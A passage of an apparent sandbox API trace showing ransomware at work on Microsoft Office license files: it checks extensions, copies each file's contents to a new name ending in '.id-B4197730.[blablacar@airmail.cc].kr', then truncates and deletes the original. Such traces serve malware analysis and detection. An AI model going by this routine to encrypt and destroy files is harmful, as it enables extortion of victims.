lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.278] lstrlenW (lpString=".xls") returned 4 [0215.278] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.278] lstrlenW (lpString=".xlsx") returned 5 [0215.278] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.278] lstrlenW (lpString=".ppt") returned 4 [0215.278] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0215.278] lstrlenW (lpString=".zip") returned 4 [0215.278] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.278] lstrlenW (lpString=".rar") returned 4 [0215.278] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.278] lstrlenW (lpString=".bz2") returned 4 [0215.278] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.278] lstrlenW (lpString=".7z") returned 3 [0215.278] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0215.279] lstrlenW (lpString=".dbf") returned 4 [0215.279] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0215.279] lstrlenW (lpString=".1cd") returned 4 [0215.279] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0215.279] lstrlenW (lpString=".jpg") returned 4 [0215.279] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0215.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0215.279] lstrlenW (lpString=".doc") returned 4 [0215.279] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.279] lstrlenW (lpString=".docx") returned 5 [0215.279] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.279] lstrlenW (lpString=".pdf") returned 4 [0215.279] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.279] lstrlenW (lpString=".xls") returned 4 [0215.279] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.279] lstrlenW (lpString=".xlsx") returned 5 [0215.279] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.279] lstrlenW (lpString=".ppt") returned 4 [0215.279] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0215.279] lstrlenW (lpString=".zip") returned 4 [0215.279] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.279] lstrlenW (lpString=".rar") returned 4 [0215.279] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.279] lstrlenW (lpString=".bz2") returned 4 [0215.279] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.279] lstrlenW (lpString=".7z") returned 3 [0215.279] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0215.279] lstrlenW (lpString=".dbf") returned 4 [0215.280] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0215.280] lstrlenW (lpString=".1cd") returned 4 [0215.280] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0215.280] lstrlenW (lpString=".jpg") returned 4 [0215.280] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.280] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.280] lstrlenW (lpString="ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 36 [0215.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0215.281] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11612) returned 1 [0215.281] CloseHandle (hObject=0x51c) returned 1 [0215.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-oob.xrm-ms")) returned 0x220 [0215.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0215.281] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.281] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0215.282] GetLastError () returned 0x0 [0215.282] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d5c, lpOverlapped=0x0) returned 1 [0215.284] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0215.327] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.327] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11c, lpOverlapped=0x0) returned 1 [0215.327] SetEndOfFile (hFile=0x574) returned 1 [0215.327] CloseHandle (hObject=0x574) returned 1 [0215.327] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.327] SetEndOfFile (hFile=0x51c) returned 1 [0215.330] CloseHandle (hObject=0x51c) returned 1 [0215.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-oob.xrm-ms")) returned 1 [0215.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0215.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0215.332] lstrlenW (lpString=".doc") returned 4 [0215.332] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.332] lstrlenW (lpString=".docx") returned 5 [0215.332] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.332] lstrlenW (lpString=".pdf") returned 4 [0215.332] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.332] lstrlenW (lpString=".xls") returned 4 [0215.332] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.332] lstrlenW (lpString=".xlsx") returned 5 [0215.332] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.332] lstrlenW (lpString=".ppt") returned 4 [0215.332] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0215.332] lstrlenW (lpString=".zip") returned 4 [0215.332] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.332] lstrlenW (lpString=".rar") returned 4 [0215.332] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.332] lstrlenW (lpString=".bz2") returned 4 [0215.332] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.332] lstrlenW (lpString=".7z") returned 3 [0215.332] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0215.332] lstrlenW (lpString=".dbf") returned 4 [0215.332] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0215.332] lstrlenW (lpString=".1cd") returned 4 [0215.332] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0215.333] lstrlenW (lpString=".jpg") returned 4 [0215.333] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0215.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0215.333] lstrlenW (lpString=".doc") returned 4 [0215.333] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.333] lstrlenW (lpString=".docx") returned 5 [0215.333] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.333] lstrlenW (lpString=".pdf") returned 4 [0215.333] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.333] lstrlenW (lpString=".xls") returned 4 [0215.333] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.333] lstrlenW (lpString=".xlsx") returned 5 [0215.333] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.333] lstrlenW (lpString=".ppt") returned 4 [0215.333] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0215.333] lstrlenW (lpString=".zip") returned 4 [0215.333] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.333] lstrlenW (lpString=".rar") returned 4 [0215.333] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.333] lstrlenW (lpString=".bz2") returned 4 [0215.333] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.333] lstrlenW (lpString=".7z") returned 3 [0215.333] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0215.333] lstrlenW (lpString=".dbf") returned 4 [0215.333] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0215.333] lstrlenW (lpString=".1cd") returned 4 [0215.333] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0215.334] lstrlenW (lpString=".jpg") returned 4 [0215.334] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.334] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.334] lstrlenW (lpString="ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 36 [0215.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0215.335] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19957) returned 1 [0215.335] CloseHandle (hObject=0x51c) returned 1 [0215.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-phn.xrm-ms")) returned 0x220 [0215.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0215.336] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.336] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0215.337] GetLastError () returned 0x0 [0215.337] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x4df5, lpOverlapped=0x0) returned 1 [0215.339] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0215.340] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.340] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11c, lpOverlapped=0x0) returned 1 [0215.340] SetEndOfFile (hFile=0x574) returned 1 [0215.340] CloseHandle (hObject=0x574) returned 1 [0215.341] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.341] SetEndOfFile (hFile=0x51c) returned 1 [0215.472] CloseHandle (hObject=0x51c) returned 1 [0215.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-phn.xrm-ms")) returned 1 [0215.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0215.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0215.473] lstrlenW (lpString=".doc") returned 4 [0215.473] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.473] lstrlenW (lpString=".docx") returned 5 [0215.473] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.473] lstrlenW (lpString=".pdf") returned 4 [0215.473] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.473] lstrlenW (lpString=".xls") returned 4 [0215.473] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.473] lstrlenW (lpString=".xlsx") returned 5 [0215.473] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.473] lstrlenW (lpString=".ppt") returned 4 [0215.473] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0215.474] lstrlenW (lpString=".zip") returned 4 [0215.474] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.474] lstrlenW (lpString=".rar") returned 4 [0215.474] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.474] lstrlenW (lpString=".bz2") returned 4 [0215.474] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.474] lstrlenW (lpString=".7z") returned 3 [0215.474] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0215.474] lstrlenW (lpString=".dbf") returned 4 [0215.474] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0215.474] lstrlenW (lpString=".1cd") returned 4 [0215.474] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0215.474] lstrlenW (lpString=".jpg") returned 4 [0215.474] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0215.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0215.474] lstrlenW (lpString=".doc") returned 4 [0215.474] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.474] lstrlenW (lpString=".docx") returned 5 [0215.474] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.474] lstrlenW (lpString=".pdf") returned 4 [0215.474] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.474] lstrlenW (lpString=".xls") returned 4 [0215.474] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.474] lstrlenW (lpString=".xlsx") returned 5 [0215.474] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.474] lstrlenW (lpString=".ppt") returned 4 [0215.474] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0215.474] lstrlenW (lpString=".zip") returned 4 [0215.475] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.475] lstrlenW (lpString=".rar") returned 4 [0215.475] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.475] lstrlenW (lpString=".bz2") returned 4 [0215.475] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.475] lstrlenW (lpString=".7z") returned 3 [0215.475] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0215.475] lstrlenW (lpString=".dbf") returned 4 [0215.475] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0215.475] lstrlenW (lpString=".1cd") returned 4 [0215.475] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0215.475] lstrlenW (lpString=".jpg") returned 4 [0215.475] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.475] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.475] lstrlenW (lpString="ProjectProO365R_SubTest-pl.xrm-ms") returned 33 [0215.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0215.476] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11183) returned 1 [0215.476] CloseHandle (hObject=0x51c) returned 1 [0215.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-pl.xrm-ms")) returned 0x220 [0215.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0215.477] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.477] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0215.478] GetLastError () returned 0x0 [0215.478] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2baf, lpOverlapped=0x0) returned 1 [0215.480] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0215.481] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.481] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x116, lpOverlapped=0x0) returned 1 [0215.481] SetEndOfFile (hFile=0x574) returned 1 [0215.481] CloseHandle (hObject=0x574) returned 1 [0215.481] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.481] SetEndOfFile (hFile=0x51c) returned 1 [0215.484] CloseHandle (hObject=0x51c) returned 1 [0215.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 